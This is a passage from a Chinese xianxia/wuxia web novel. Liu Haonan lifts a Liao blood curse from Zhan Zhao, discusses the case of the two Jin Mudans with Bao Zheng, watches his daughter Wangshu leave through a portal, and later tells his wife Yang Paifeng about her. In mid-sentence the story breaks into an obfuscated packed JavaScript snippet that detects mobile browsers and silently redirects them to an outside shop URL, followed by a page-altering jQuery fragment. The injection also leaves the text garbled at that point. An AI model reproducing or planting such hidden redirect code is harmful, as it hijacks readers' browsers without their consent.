小望舒亦步亦趋地跟在父亲身边,闻言歪着小脑袋想了想,然后很干脆地摇头:“师傅只说,大师兄在汴京可能遇到点北边来的‘脏东西’,让我带着新得的‘小玩具’来救个急,救了人就赶紧回山,不许在街上乱逛买糖吃。” 她顿了顿,补充道,“金家?池塘?没听师傅特意说呀……不过师傅好像有一次看着山下的雾气,自言自语说什么‘锁了这么久,也该透透气了’,还有什么‘自己捞起来的债,自己还’……听不懂。” 她耸耸小肩膀,一副“大人的话好难懂,不关我事”的表情,“池塘下面有什么,是大鱼还是大乌龟,跟我和师傅有什么关系呀?师傅说了,天底下的麻烦就像山上的蘑菇,采不完的,咱们玉女门只管自己洞里干净就行啦!少管闲事,多吃糕点,才能长得高!” 夜色愈浓,汴梁城的万家灯火渐次熄灭,陷入沉睡。然而,此刻的金府深处,那座临水而建、本应寂静的闺阁绣楼内—— 本该安睡的金牡丹小姐,正独自坐在梳妆台前。铜镜中映出她苍白却异常平静的脸。她手中拿着一把象牙梳,有一下没一下地梳理着如瀑长发,眼神空洞地望着镜中的自己,以及镜面反射出的、窗外那片幽暗的池塘水面。 忽然,平静如镜的池面,无声无息地泛起了一圈涟漪。紧接着,涟漪扩大,一个巨大的、缓慢旋转的漩涡,出现在池塘中央。水面之下,幽深不可见底之处,一道庞大到令人心悸的阴影,缓缓地、慵懒地游弋而过,搅动了沉寂百年的水波与秘密。铜镜中,金牡丹的嘴角,似乎极其轻微地、向上弯了一下,那笑容空洞而诡异,与她苍白的脸庞形成鲜明对比。梳妆台上,那枚羊脂白玉佩内,血沁般的絮状物,游动的速度,似乎加快了一丝。 开封府内室,烛火在穿窗而入的夜雾中摇曳不定,将人影拉得忽长忽短。展昭躺在简陋的榻上,面色不再是狂乱时的赤红,而是转为一种更不祥的死寂青紫,呼吸微弱得几不可闻,若非胸膛还有极其微弱的起伏,几乎与死人无异。那“玄火古玉诀”的清净之力只是强行镇压了狂暴的心魔表象,却未伤及“血魇咒”的根本,此刻咒力反噬,正在无声地侵蚀他的生机。 刘皓南静立榻前,指尖凝起一道温润而凝实的乳白色光芒,如晨曦微露,轻轻按在展昭紧蹙的眉心。白光没入的刹那,展昭身体猛地一颤,那青紫之气仿佛被惊动的毒蛇,骤然在他皮下扭动、翻滚,与试图探入的白光激烈纠缠、搏斗,发出细微的、令人牙酸的“嗤嗤”声,甚至隐隐有黑红相间的狰狞虚影在他皮肤下闪现。 “好阴毒霸道的血魇咒,咒力精纯深邃,如跗骨之蛆,直侵心脉神魂……”刘皓南闭目凝神,心中暗凛,“这绝非寻常萨满巫师的手笔,咒印结构精巧恶毒,带着辽国宫廷秘术特有的、以血脉和怨念为引的烙印,至少是位大祭司级别的存在所下。” 他不再试探,指尖白光骤盛,如冬日暖阳,又如无形的手,丝丝缕缕地渗入展昭的奇经八脉。白光过处,丝丝缕缕粘稠如活物的黑气,被一点点从展昭的眼、耳、口、鼻七窍中逼迫而出。这些黑气在空中并不消散,反而如同拥有生命般,扭曲缠绕,渐渐凝成一道约莫巴掌大小、结构异常繁复、透着诡异不祥气息的暗红色符印。符印中心,隐约可见一个咆哮的狼头虚影,正是辽国图腾。 刘望舒原本抱着胳膊,小脸上带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185059|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “看爹爹忙活”的好奇旁观,此时也不禁挑了挑细细的眉毛,凑近了些,琉璃灯映着她明亮的眼睛:“哟,这丑东西长得还挺别致,花纹弯弯绕绕的,像是辽国那边大祭司们喜欢的调调?比我们山里那些吓唬小妖精的符可复杂多啦。” 刘皓南并未分心回答,全神贯注于指尖流转的白芒。他双手指诀变幻,沉稳而迅捷,那温润白光随之分化,化作无数比发丝更细的莹白光丝,如同最灵巧的织女穿针引线,又像精密的外科大夫在剥离粘连的血肉,小心翼翼地缠绕上那暗红符印的每一缕黑气,开始层层剥离、消解。随着光丝的动作,展昭脸上那骇人的青紫之色,以肉眼可见的速度一丝丝褪去,恢复了些许血色,呼吸也渐渐平稳有力起来。然而,空中那道被不断剥离削弱的符印,却仿佛被激怒的困兽,愈发狰狞地扭动挣扎,散发出更浓郁的怨毒与血腥气。 “爹爹这手法,慢悠悠的,倒像是在绣花,还是绣那种顶顶麻烦的双面异色绣。”小望舒看得有些无聊,从锦囊里摸出一块桂花糕,小口咬着,含糊地点评,“我师傅常说,世间邪祟恶咒,大多外强中干,讲究的就是个‘快’字和‘利’字。任它千变万化,我自‘一剑破万法’,哪需这般费事?像爹爹你这样一层层拆,拆到天亮也拆不完呀。” “玉女门的‘流光剑意’自然凌厉无匹,聂隐娘前辈的‘一剑破万法’更是名震天下。” 刘皓南终于开口,声音平稳,但额角已渗出细密的汗珠,显是消耗不小,“然血魇咒最阴毒之处,在于其与中咒者心脉、乃至最深处的恐惧执念相连。若强行以刚猛外力斩之,固然可破咒印,却极易震动心脉,伤及元神根本,轻则修为大损,记忆残缺,重则神魂受损,变成痴傻之人。” 他说话间,指尖白光流转不息,最后几缕最为顽固、几乎与符印核心融为一体的黑气,被他以一种极其柔和却又坚定不移的力道,缓缓“抽”了出来。 “所以你们华山一脉,就爱绕这些弯弯道道,解个咒也要讲究什么天地人三才平衡,阴阳五行生克,生怕碰坏了一草一木。” 小望舒撇撇嘴,将最后一点糕点塞进嘴里,拍了拍手上的碎屑,又漫不经心地从袖中摸出那枚流光溢彩的玉符抛接着玩,“师傅说了,江湖事,快刀斩乱麻才是正理。心思绕得多了,反而容易把自己绕进去。你看今夜,我砸玉诀,师兄躺下;爹爹你解咒,师兄喘气。多干净,多利落!” 她瞥见父亲略显苍白的脸色和额头的汗珠,小大人似的叹了口气,语气稍微软了点,但道理依旧是她师傅的那一套,“不过嘛……爹爹你以前在辽国当过大官,对付他们家这些弯弯绕绕的咒,倒是挺顺手的。算是没白当。” 刘皓南已将那最后一道黑气引出,悬于指尖。那黑气兀自扭动不休,被他轻轻一捻,便“噗”一声轻响,爆散成一缕带着腥气的青烟,缓缓消散。他收回手,闭目调息了片刻,脸色才恢复些许红润。闻言,他淡淡一笑,语气带着几分对往事的疏离与身为父亲的包容:“你师傅聂隐娘前辈,惊才绝艳,行事自然潇洒不拘。但华山道统,讲究的是一个‘稳’字,并非迂腐,而是为求万全,不留后患。须知有些损伤,一旦造成,便是……” “打住打住!” 小望舒立刻举起两只小手,做了个捂住耳朵又迅速放开的动作,腕间九转玲珑细镯叮咚作响,小脸上满是“又来了又来了”的不耐烦,“知道啦知道啦!‘稳’字诀嘛,师傅早就吐槽过八百遍了!她说江湖儿女,当如流星经天,刹那光华也好过庸碌百年,哪来这许多瞻前顾后、束手束脚的规矩?” 她跳下椅子,背着小手,学着大人模样踱了两步,明明是个小豆丁,却偏要做出老气横秋的样子,“你看今夜,不就是最好的例子?我扔宝贝砸晕人,爹爹你慢慢解咒救人,咱们分工明确,结果圆满!要是按爹爹你的‘稳’字来,怕是这会儿还在跟师兄捉迷藏呢,哪能坐在这里说话?师傅说的才是至理!玉女门的道理,就是天底下第一有道理的道理!” 说完,她还用力点了点小脑袋,强调自己的正确性,然后又不知从哪里摸出那把鲛骨小梳,自顾自地梳理起刚才因为激动而翘起的一缕头发,仿佛关于门派理念、救人方式的争论,还不及她整理仪容重要。 恰在此时,烛火忽地一晃。包拯身着深色常服,眉间锁着更重的忧色,步入内室。他先看了一眼榻上呼吸已然平稳、面色也恢复了大半的展昭,眼中闪过一丝宽慰,随即对着刘皓南深深一揖:“刘先生妙手回春,再救展护卫一命,包拯代开封府上下,谢过先生大恩。” 他直起身,忧虑却未减,“展护卫虽暂脱险境,然此事蹊跷。且……近日府衙还接了一桩奇案,甚是棘手,不知可否请先生参详一二?” 包拯缓缓道来,正是金府员外状告书生张子游诱拐其女金牡丹一案。然公堂之上,金家小姐冷若冰霜,言辞清晰,坚称与那张生素不相识;可入夜之后,却有白衣女子自称金牡丹,于开封府外悲切哭诉,言与张生两情相悦,却被家庭阻拦。更奇的是,府衙派人暗中比对,两个“金牡丹”容貌、身量、举止,乃至细微习惯,竟一般无二,连金夫人私下辨认,也难分真假,只觉堂上女儿冰冷陌生,府外哭诉者情真意切,宛如一体双生。 刘皓南静听不语,指尖在桌面上无意识地轻叩。日间金府所见——那异常充沛却暗藏逆转的灵气池塘、金不换拇指上那枚带着北汉宫廷徽记的蟠螭玉韘、展昭所中这明显出自辽国宫廷大祭司之手的“血魇咒”……还有如今这真假难辨的“金牡丹”。看似不相干的线索,此刻却如同散落的珠子,被一根无形的线隐隐串起。他沉吟片刻,抬眼看向包拯,目光清明:“包大人明察秋毫,可曾想过,若此案关键,并非有人假冒,亦非金小姐谎言,而是……这世间,本就存在着两位‘金牡丹’?一位是凡俗富贵家的千金小姐,另一位,或许是……机缘巧合,得了形貌的他类有情众生?” 一旁原本摆弄着玉符、觉得大人谈话甚是无聊的刘望舒,闻言眼睛顿时一亮,像是听到了极有趣的故事,立刻蹦了过来:“这个好玩!比爹爹整天拿着罗盘看星星、对着木头算卦有意思多了!” 她全然不顾礼数,仰着小脸就对包拯道,“包黑子……啊不对,包大人!我爹爹的意思是,说不定是哪个山里的、水里的、长得好看的妖精,变成了金小姐的模样,看上了那个穷书生,跑来捣乱啦!对不对呀爹爹?” 她转头看向刘皓南,小脸上满是“我猜对了快夸我”的得意。 刘皓南被女儿这声脱口而出的“包黑子”弄得哭笑不得,只得对面露愕然、随即又了然的包拯歉然微一颔首:“小女顽劣,童言无忌,包大人海涵。” 他心中记挂着聂隐娘的门规,知望舒此番下山已是破例,不可久留红尘,遂拱手道,“夜色已深,小女还需及时回山清修,不便久留。展护卫体内残咒已清,好生静养便可。金府之事,若有需要,刘某改日再登门与大人细谈。告辞。” 话音未落,他已牵起女儿的小手。小望舒还扭着头,对包拯做了个鬼脸,又冲自己爹爹吐了吐舌头,显然对这么快就要回山有些不满。下一瞬,父女二人身影微晃,竟如青烟般淡去,悄无声息地融入了窗外沉沉的夜色与雾气之中,仿佛从未出现过。 内室重归寂静,只剩下烛火哔剥,与展昭平稳的呼吸声。包拯独立榻前,望着窗外浓得化不开的夜色,回味着刘皓南离去前的话,又想起公堂上冰冷木然的金牡丹,与月下哭诉情真的白衣身影,不由抚须长叹,低声自语:“两位金牡丹……妖若有情妖非孽,人若无情怎为人?此案……果然非比寻常。” 窗外,夜雾更浓了,缓缓漫过开封府高耸的屋脊,向着沉睡的汴京城每一个角落弥漫开去。 32. 不断有情众生缘 月光如水银泻地,静静铺洒在开封府外寂静的长街上。青石板路反射着泠泠清辉,像一条流淌的星河。远处,樊楼最后一盏昏黄的灯火终于熄灭,偌大的汴京城,在更深夜重中彻底沉入梦乡。刘皓南与女儿并肩而行,脚步在空旷的街道上回响,惊起檐角栖息的几只鸽子,扑棱棱地飞向幽蓝的夜空,留下一串渐远的振翅声。 行至街角那株虬枝盘结的老槐树下,树影浓得化不开。小望舒忽然停下脚步,小手扯住父亲的衣袖,不由分说将他拉进树影最深处。她从腰间那个绣着灵动小兔子的锦囊里,小心翼翼地取出一面物事。 那是一个约莫巴掌大小的铜镜,镜框是古朴的黄铜,雕刻着繁复的缠枝莲纹,莲叶舒展,莲花含苞,做工极为精巧。镜面并非寻常铜镜的昏黄,而是流转着一层水波般的莹润光晕,隐约倒映着月光,却又似乎能看穿更深处。 “爹,你看这个。” 小望舒压低声音,带着孩童分享秘密般的兴奋与谨慎。她伸出白嫩的食指,指尖凝聚一点微不可察的灵光,轻轻点在镜面中心。 镜面如水波被石子惊扰,漾开一圈圈涟漪。涟漪扩散又平复,镜中的影像如水墨般晕染开来,渐渐清晰——那是一池幽深的碧水,显然是金府花园的池塘。月光透过水面,曲折地照进水底深处,光线微弱而朦胧。就在这幽暗的水光中,静静卧着一尾……红鲤。 那红鲤身长近丈,即便在昏暗的水底,鳞片也流转着金红交错的奇异光泽,如同将晚霞最绚烂的一角裁剪下来,披在了身上。它静卧池底,姿态安然,唯有尾鳍极其缓慢地、优雅地摆动,带动水流形成微小的漩涡。最令人惊异的是,在它额头的正中央,有一枚米粒大小的、宛如天然生成的朱砂印记,正随着它悠长的呼吸,一下一下,明灭着柔和的红光,像沉睡的第三只眼,又像一颗跳动的心脏。 “这是师傅前些日子新给我的‘窥灵镜’,” 小望舒的声音压得更低,带着点炫耀,“可好玩了,能看到好多眼睛看不到的东西。我白天在金府外面转悠,趁他们不注意,偷偷用它照了那池塘好一会儿呢。” 刘皓南凝神细看。镜中,那尾巨大的红鲤身周,并非空无一物。丝丝缕缕极淡的、近乎透明的粉红色气息,如同最上等的轻纱,又似春日桃林蒸腾的雾气,正从鲤鱼身上缓缓散发出来,萦绕在它周围,随着水波缓缓流转。那些粉色气息中,竟隐约有极其细微、细若游丝的声音传出,并非水声,而是一种低低的、断续的呜咽,仿佛压抑了千百年的哀伤,化在了这水底,融进了这气息里,透着一种化不开的凄楚。 “她修行可久啦,少说也有八百年往上,” 小望舒收起铜镜,那镜面光芒敛去,又恢复成古朴模样。她小脸上难得露出一点与年龄不符的认真神色,“灵气纯得很,干干净净的,闻不到半点血腥味和怨气,不是坏妖怪。但是师傅跟我说过,精怪修行到这个份上,如果动了真情,起了执念,一身灵气就会染上情愫的颜色。她这身粉气,又哭得这么伤心,就是‘情劫气’——她这是难过到骨子里了呢。” 夜风吹过槐树浓密的枝叶,沙沙作响,像是夜的叹息。小望舒抬起小脸看向父亲,月光透过叶隙洒落在她眼中,映出澄澈而好奇的光:“师傅常说,万物有灵,草木石头修行久了都能成精。情深到了一定地步,是真的能感动天地的。我们玉女门规第一条就是‘不断有情众生缘’。爹,你说……夜里跑到开封府外,对着月亮哭的那个金牡丹,会不会……就是水里的她变的?” 刘皓南沉默良久。夜风拂过他青衫的衣摆,带来远处汴河水微腥的气息。他望向金府的方向,那片在夜色中连绵的屋宇,黑沉沉地伏在那里,檐角兽吻的轮廓在月光下像某种蛰伏巨兽的獠牙。他袖中的手指,无意识地摩挲着那枚温润冰凉的墨玉棋子——棋子光滑,边缘处有细微的磕碰痕迹,是当年北汉皇宫旧物,陪伴他多年,早已成为习惯。 鲤鱼精、布局诡异的金府、北汉降臣的旧宅痕迹、辽国宫廷的秘传邪术、还有这痴情苦守的水族……看似散乱的线索,在他脑海中碰撞、纠缠,试图寻找连接的那根线。聂隐娘为何偏偏在此时让望舒来汴京?又为何特意让她“看见”这池中精灵,还点出其“情劫”?那位惊才绝艳、心思却如深海般的女子,从不将话说尽,总喜欢留下线索,让人自行揣摩,如同布下一局棋,旁观者需自行领悟其中真意。 “你师父……还说了什么别的?” 他终于开口,声音在寂静的夜里显得有些低沉。 “就说让我来汴京,给大师兄送个‘东西’,顺便告诉你金府池塘不简单,底下可能有好玩……呃,可能有点东西。” 小望舒眨眨眼,那副小大人的认真表情褪去,又恢复了几分孩童的嬉笑,但很快又歪着头想了想,“别的嘛……师傅提起这鲤鱼精的时候,神情跟平时有点不一样,没那么……潇洒?好像想起了什么很久以前的故人似的,眼神有点飘。但你也知道她的脾气啦,说话总是说一半藏一半,剩下的让我们自己猜,猜不到就骂我们笨!” 她吐了吐舌头,显然没少挨师傅这种“点拨”。 她忽然想起什么,小手又在锦囊里掏了掏,这次摸出一个小小的、带着温热和甜香的油纸包,不由分说塞到父亲手里。 “喏,樊楼最出名的梅花酥,我回来路上特意去买的,还热乎呢!” 她扬起小脸,月光下眼睛亮晶晶的,“爹你整天在街上摆那个卦摊,风吹日晒的,挣那点铜板肯定舍不得买这个吃。快尝尝,可好吃了!” 刘皓南握着掌心那尚带女儿体温和油润的纸包,甜腻的香气丝丝缕缕钻入鼻尖。他心头蓦地一软,像是被这温热轻轻烫了一下。这丫头,看似被聂隐娘养得无法无天,视珍宝如寻常玩物,花钱如流水,可这份细腻的心思,这份对父母最朴素的关心,却从未改变。她记得父亲节俭,记得母亲辛苦,记得他们爱吃什么。那些被她随手掷出的法器,与她细心包好、捂在怀里的这包梅花酥,在她心里,或许后者更值得珍惜。 远处传来沉沉的三更鼓声,一声声,缓慢而厚重,荡过汴京沉睡的夜空,也敲在人心上。 小望舒忽然停下脚步,脸上那惯常的、带着点小得意和小狡黠的嬉笑,如潮水般缓缓褪去。她转过身,仰起小脸看着父亲。月色清辉洒在她玉雪可爱的脸上,长长的睫毛在眼下投出小扇子般的阴影,这一刻,她脸上显出一种与七岁年纪极不相符的沉静,甚至有一丝不易察觉的……离愁。 “爹,” 她声音很轻,被夜风一吹,几乎要散掉,“师傅严令,我送完‘东西’,看了大师兄,就得立刻回山,一刻都不能耽搁的。” 她顿了顿,小手无意识地绞着衣角,“我们玉女门的‘闭月关’……就要开了。这次闭关,是宗门大典,所有核心弟子都得进去……师傅说,少则三年,多则……十载。” 她从颈间解下一根细细的红绳,绳子上系着一枚玉符。那玉符通体莹白,温润如脂,形状宛若一枚小小的海螺,表面刻着细密繁复的云纹,在月光下流转着柔和而内敛的光泽。更奇异的是,玉符内部仿佛有极其细微的流光在缓缓转动,像是拥有自己的生命与呼吸。 “这是师傅用东海深处的万年砗磲,合着朝霞暮霭,花了很久很久才炼成的‘传音螺’,” 她将尚带着自己体温的玉符,轻轻塞进父亲宽厚的掌心,刘皓南能感到她指尖的微凉,“师傅说,天地间一共就炼成了三对。她和大师姐各用一对,这一对……” 她抬起大眼睛,看着父亲,努力想让语气听起来轻松些,“给你和娘。要是……要是想我了,或者……” 她眼珠转了转,露出一点熟悉的狡黠,“爹爹你又在哪被人骗得身无分文、饿肚子了,就对着它,喊三声我的名字。” 她停住了,小嘴微微抿了抿,那双总是灵动飞扬的眸子里,浮起一层浅浅的、水润的雾气,在月光下格外清晰:“说不定……我能找到机会,偷偷溜出来一小会儿呢?师傅最疼我了,只要我撒娇耍赖,她有时候也会心软的……” 刘皓南握着掌心那枚尚带着女儿体温、微微发烫的玉符,那暖意仿佛有生命般,顺着他的掌心脉络,一路烫进了心窝最深处,又酸又涨。他喉头有些发紧,缓缓抬起另一只手,轻轻揉了揉女儿柔软的发顶——这个动作,在她更小的时候,在她还会赖在他怀里,眨着懵懂的大眼睛,听他讲述紫微斗数的星移斗转、二十八宿的古老传说时,他常常这样做。那时她的头发更软,像最上等的丝绸。如今,发丝依旧柔软,女儿却已长得齐他肩膀高,一身玉女门真传弟子的光华气度,行事说话带着聂隐娘式的“道理”和阔绰。可在他眼里,在心底最柔软的地方,她终究还是那个会因为一颗糖开心半天、会拽着他衣袖问“爹爹爹爹,仙女住在哪里呀”的小丫头。 “回去后,要好生听你师傅的话,” 他听到自己的声音温和下来,带着为人父的、最深切的叮嘱,还有一丝难以掩饰的沙哑,“好好修炼,莫要再贪玩,也莫要再……把师门赐下的珍贵法器,当做石子儿随便乱丢了。” 最后半句,他说得有些艰难,想起那枚碎裂的玄火古玉诀,仍是心疼。 “知道啦知道啦!古板老爹!啰嗦!” 小望舒皱起小巧的鼻子,那点刚刚浮起的离愁别绪,瞬间被娇憨和不耐烦取代,仿佛这样就能冲淡那份即将分离的难过。她向后退了两步,小手在袖中一摸,又掏出一物。 那是一枚鸽子蛋大小的珍珠,圆润无瑕,在月光下并非单纯的白色,而是流转着如梦似幻的七彩光晕,赤橙黄绿青蓝紫,层层晕染,美不胜收。珍珠表面,仿佛有星河云雾在缓缓旋转流动,定睛看去,内里竟似有微缩的万里山河、亭台楼阁的虚影,玄妙异常。 “师傅给的‘破界珠’,说是让我赶路用,比什么飞剑、遁光都快,还气派!” 她随手将那枚珍贵的珍珠往空中一抛,动作随意得像是扔出一颗普通的石子,“可比骑马坐船回去,有意思多啦!” 珍珠划出一道优美的弧线,升至最高点时,并未落下,而是悬停半空,随即,“砰”的一声极轻微的脆响,如同春日河面最薄的那层冰碎裂。 刹那间,漫天细碎的光点迸溅开来,如同将银河揉碎,洒落人间。那些光点并非胡乱飞舞,而是如有生命般在空中穿梭、汇聚,瞬息之间,竟交织、构建成一扇高达三丈、恢弘而精致的月白色光门!门框上雕刻着繁复无比的祥云、仙鹤、灵芝纹路,流光溢彩,门内景象朦胧胧胧,看不真切,只能隐约见到云海翻腾不息,有缥缈的仙山在云中若隐若现,玉宇琼楼的轮廓在霞光中闪烁着温润的光泽。更奇异的是,光门周围的空间呈现出微微的扭曲,连洒落其上的月光、远处闪烁的星光,都在门框边缘被弯折、碎裂,化作星星点点的银色光粉,飘散开来,美得不似人间景象。 门内,有隐约的、清越悠扬的仙乐传来,夹杂着几声清亮的鹤唳。夜风穿过光门,带来一缕极清极淡、却沁人心脾的莲花冷香——那是玉女门山门特有的气息。 小望舒转身,朝着父亲用力地挥了挥小手,脸上的笑容在月光和光门的映照下,明亮得如同最璀璨的星辰:“爹!我走啦!你自己在江湖上玩,要小心些!别再被人骗去算那些不准的卦啦!” 话音未落,她已纵身一跃,小小的身影没入那月白光门之中。玉白色的窄袖道袍在氤氲的云雾中渐渐淡去,模糊,最终如同墨滴入清水,彻底融进了那片瑰丽奇幻的仙家景象里,再无痕迹。 光门在她进入后,倏然合拢。 漫天绚烂的光点如同朝露遇到烈日,瞬息间消散得无影无踪。长街重归寂静,只剩下一地清冷如霜的月光,空气中那缕莲花的冷香也飞速淡去,最终了无痕迹,仿佛刚才那扇通天光门、那个踏入门中的小小身影,都只是夜深人静时,一个过于美好而恍惚的梦境。 刘皓南独立月下,槐树的阴影将他半身笼罩。夜风拂动他青衫的下摆,带来深秋的凉意。他摊开手掌,掌心静静躺着那枚“传音螺”。螺身温润,光华内敛,在他掌心微微散发着暖意,仿佛还残留着女儿的体温。他轻轻摩挲着螺身细腻的云纹,那纹路流畅而古老。 他想起几年前,也是这样的月夜,小小的望舒还梳着双丫髻,拽着他的衣角,仰着粉嫩的小脸,满是好奇地问:“爹,爹,仙女是什么样子的呀?是不是住在天上的星星里?” 那时他不知如何向稚童描述那玄妙的修仙世界,只能指着夜空中最亮的那颗星,温声道:“仙女啊,就住在那里,她们在天上,看着我们望舒乖乖长大呢。” 后来,聂隐娘路过,一眼看中她的根骨,带她上了玉女门。第一次省亲归家时,小丫头已出落得亭亭玉立,行事说话带着掩不住的仙门贵气。她献宝似的从各种储物法器中掏出一大堆光华闪闪的宝物,丹药、符箓、小法器,摆了一桌子,说都是师傅和师姐们给的,让爹爹娘亲随便用。他那时看着那些随便一件都足以引起江湖轰动的宝物,真是哭笑不得,只能板着脸训诫:“修仙之人,首重心性,外物虽好,不可过分依赖,更不可奢侈浪费,须知惜福。” 小丫头当时就撇了嘴,理直气壮:“师傅说了,法器是死的,人是活的,东西造出来就是用的!用最好的东西,才能做最好的事!爹爹你们华山就是太古板,太小气!” 嘴角不自觉泛起一丝复杂的笑意。那笑意里,有对女儿成长的欣慰与骄傲,有对她被聂隐娘“带歪”了性子的无奈,有对她挥霍无度的心疼,更有此刻深切的、即将长久分别的不舍。他将传音螺仔细地、珍而重之地贴身收好,放在最贴近心口的位置。另一只手里,那包梅花酥还带着淡淡的余温,甜香隐隐。 更深,露重,汴京的夜雾不知何时变得浓稠起来,缓缓漫过长街。刘皓南最后望了一眼女儿消失的虚空,转身,青衫身影渐渐融入长街尽头的黑暗与雾气中,步伐沉稳。 “江湖路远,道阻且长……父女缘深,终有一别。” 他低声自语,声音消散在夜风里,“金府这潭浑水,便让为父先行替你……和这汴京,探上一探吧。” 远处,传来四更梆子沉闷的响声,一声,又一声,回荡在沉睡的汗梁城上空。这座不夜之城,也终于在浓重的夜色与雾气中,缓缓翻了个身,沉入更深的梦境。 而在那金府花园,幽深冰凉的池塘最深处,那尾身披霞光的红鲤,正静静悬浮。它巨大的尾鳍极其缓慢地摆动,仰望着透过重重水波、显得扭曲而遥远的朦胧月影。一滴晶莹的、比池水更沉重的东西,自它宛如琉璃的眼眸中滑落,无声地融入幽暗的水波,只漾开一圈微不可察的涟漪。水面倒映着天上那轮孤月,月影被水波揉碎,化作万千闪烁的银鳞,轻轻晃动,恰似它身上那袭寂寞了千百年的、绚烂而哀伤的光影霓裳。 ______ 汴京城南,一家不起眼客栈的简陋单间内,一灯 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刘皓南握住妻子的手。那双手,曾经是执掌杨家后厨、挥舞烧火棍舞得虎虎生风的,如今在汴京樊楼后厨操劳,掌心已有了薄茧,但依旧温暖、有力,是他漂泊岁月中最坚实的倚靠。他扶她在桌边坐下,执起炉上温着的粗陶茶壶,斟了一杯热茶。茶汤澄黄,袅袅白气升腾,带着廉价茶叶特有的、略微苦涩的香气。 “排风,莫要忧心。” 他将茶盏轻轻推到她手边,声音是刻意放柔后的温和,“昨夜确是遇到些意外,但并非在金府。” 他选择性地说着,略去最凶险的部分,“我本欲夜探金府,却在御街撞见开封府的展昭展护卫,他身中辽国邪术‘血魇咒’,心智尽失,当街……行止狂乱。” 杨排风神色骤然一紧,握住粗陶茶盏的手指微微用力,指节有些发白。展昭之名,她自然听过,那是包大人麾下顶尖的高手。连他都着了道…… “幸得……” 刘皓南语气放缓,眼中浮现出真实的、混合着无奈与温暖的微光,“幸得望舒那丫头,恰好奉她师傅之命前来汴京。我父女二人联手,方才将其制住,送回了开封府医治。” 他刻意用了“制住”而非更凶险的“搏杀”,又将“玄火古玉诀”等细节略去。 “望舒?!” 杨排风眸光骤然亮起,如同瞬间被点燃的烛火,手中的茶盏轻轻一颤,几滴温热的茶汤溅出,落在她手背上,她也浑然不觉,“她……她也来了汴京?你们父女……竟能联手对敌?” 她的声音里混杂着未能亲眼所见的失落,与得知女儿竟已能独当一面的巨大骄傲,还有一丝不易察觉的、对女儿涉险的后怕,“她如今可好?长高了多少?武功……修为可有长进?聂隐娘前辈待她如何?可有吃苦?” 一连串的问题脱口而出,是一个母亲最本能的牵挂。 刘皓南看着妻子眼中瞬间涌起的万千情绪,心中轻轻叹了口气。他伸手探入怀中,取出那枚尚带着体温的、莹润的传音螺,轻轻置于简陋的木桌上。 烛光不算明亮,却足够让那枚玉符散发出温润内敛的光泽。螺身上细密的云纹,在光晕中仿佛活了过来,在缓缓流动、呼吸。 “这是女儿临行前,硬塞给我的。” 他温言道,语气带着父亲特有的、混杂着骄傲与头疼的复杂情绪,小心地避开了女儿那些“华山一脉全是老古板”、“解咒像绣花”之类的犀利评价,“丫头说,若是想她了,或是……有什么急事寻她,便可使用此物。” 他略去了女儿关于“被骗得身无分文”的调侃。 杨排风几乎是屏住呼吸,轻轻捧起那枚玉符。指尖摩挲着螺身细腻如脂的纹路,那温润的触感仿佛还带着女儿的体温。她的眼圈控制不住地微微泛红了。她想起两年前,女儿离家拜师时,还是个会拽着她裙角哭得稀里哗啦、舍不得爹娘的小丫头,胖乎乎的小手紧紧攥着她的衣襟。如今,竟已能独自行走江湖,奉师命办事,甚至能与父亲并肩,应对那等凶险的邪术了……时光啊。 “这丫头……” 她声音很轻,带着母亲特有的柔软与无限牵挂,将玉符紧紧贴在胸口片刻,才小心翼翼地、像对待稀世珍宝般,将它收入怀中,贴身放好。仿佛这样,就能离那远在仙山、即将闭关的女儿,更近一些。“只要她平安康健,修为有成,便比什么都强。聂隐娘前辈是世外高人,能得她青眼,是望舒的造化。” 顿了顿,她又低声补充,像是对自己说,“只要她好,便好。” 刘皓南注视着妻子温柔而隐忍的侧脸,缓缓补充道,声音里带着一丝复杂的感慨:“昨夜匆匆一见,丫头身量已窜高不少,齐我肩头了。穿着一身玉白色的窄袖道袍,看料子,是天蚕丝混着冰绡织就,月光下自有光华流转,却毫不张扬。襟袖裙摆处,用暗金色的丝线绣着极其繁复的北斗云纹,走动间流光隐隐,是极高明的隐匿阵法。腰束紫金绦,头上别着一支青玉莲冠。” 他顿了顿,眼前清晰浮现女儿在月下那明明稚气未脱、却已初具风仪的模样:“那莲冠雕工堪称鬼斧神工,每一瓣莲叶都薄如蝉翼,玲珑剔透,内里似有灵光自行流转生生不息。通身的气度风华……竟比当年我在辽国宫廷夜宴上,见过的那些最受宠的公主、最尊贵的命妇,更显清华贵气,从容不迫。聂隐娘待她……确是倾尽心血,极尽宠爱了。” 杨排风听得入神,眼中光彩流动,既有为人母的欣慰与骄傲,也有一丝未能亲眼目睹女儿这般风采的深深遗憾。她轻声道:“聂隐娘前辈性子虽是孤高了些,眼界也高,但她是真心喜爱、疼惜望舒的。只是……” 她抬眼看向丈夫,眼中有关切,“那孩子如今可还像小时候那般跳脱任性?没给你……添太多麻烦吧?” 知女莫若母,她自然知道自家女儿被宠着长大,性子有多娇憨又有多执拗。 刘皓南想起女儿随手掷出玄火古玉诀时那“理直气壮”的“豪阔”作派,想起她评价自己华山道统“磨磨唧唧”、“古板小气”时那副“师傅说的才是真理”的小模样,心中真是百味杂陈。若让排风知道,在女儿心目中,他们华山派传承千年的严谨、缜密、惜物、重根基的道统,已被玉女门那套“快刀斩乱麻”、“法宝管够”的作风鄙视得一无是处,她心中不知该多难受,多失落。毕竟,排风虽非华山弟子,却一直以他的师门为荣。 “丫头性子是比从前更……活泼张扬了些,” 他选择性地说着,语气里带着为人父的、复杂的包容与一丝隐晦的无奈,“但行事颇有章法,修为也确实精进神速。昨夜见她眉宇间神光内蕴,举手投足已有大家风范,真气凝练纯粹——聂隐娘确实在她身上费了无数心血,倾囊相授。” 这是实话,他看得出女儿根基打得极为扎实,灵力精纯远超同龄。 